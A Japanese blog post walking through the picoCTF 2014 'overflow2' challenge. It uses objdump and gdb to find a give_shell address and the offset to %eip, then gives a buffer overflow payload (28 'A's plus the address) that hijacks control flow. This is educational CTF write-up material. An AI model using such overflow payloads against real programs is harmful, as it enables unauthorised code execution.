mayoko’s diary

プロコンとかいろいろ。

picoctf 2014 overflow2

個人的にはいろんな知識満載で良問だと思ったので記事書いておきます。

まず, プログラムは「次に呼び出すべき命令は何か」というのを覚えておくプログラムカウンタというのがあります。これは %eip というのが管理しているらしいので, 方針としては

  • なんとか %eip を書き換えて give_shell 関数を呼び出す
  • そうすると強い権限が得られるので flag.txt を cat できるようになり勝利

という流れです。要するに buf をバッファオーバーフローさせて %eip まで値を書き込むことによって, give_shell 関数を呼び出すところまでがやるべきことです。

まず give_shell 関数の場所を確認します。
これは, objdump というツールを使うとできます。これを使うと, 実行ファイルから関数の名前, その関数が書いてある場所, 内容などを確認することができます。今回興味があるのは give_shell の場所なので,

objdump -d overflow2 | grep "shell"

とやると,

080484ad <give_shell>:

などと情報が出てきます。これで give_shell の場所がわかりました。

後はバッファオーバーフローさせて %eip の値を 080484ad にすれば良さそうです。gdb を使うとせぐふぉする前に呼び出そうとしていた命令の位置を確認できるので, これを使います。

gdb overflow2

とやって

set args `python -c 'print "A"*30'`

とやり run すると,

Program received signal SIGSEGV, Segmentation fault.
0x08004141 in ?? ()

と出ます。つまり, 最後に 0x08004141 を呼び出そうとしていたことが分かりますが, 41 というのは 'A' の値を示しているので, つまり eip の値を指定する際は 29, 30, 31, 32 番目の文字を \xad, \x84, \x04, \x08 にすれば良いことが分かります。

なので,

./overflow2 `python -c 'print "A"*28 + "\xad\x84\x04\x08"'`

とすると, give_shell 関数を呼び出すことができるわけです。すごいなぁ。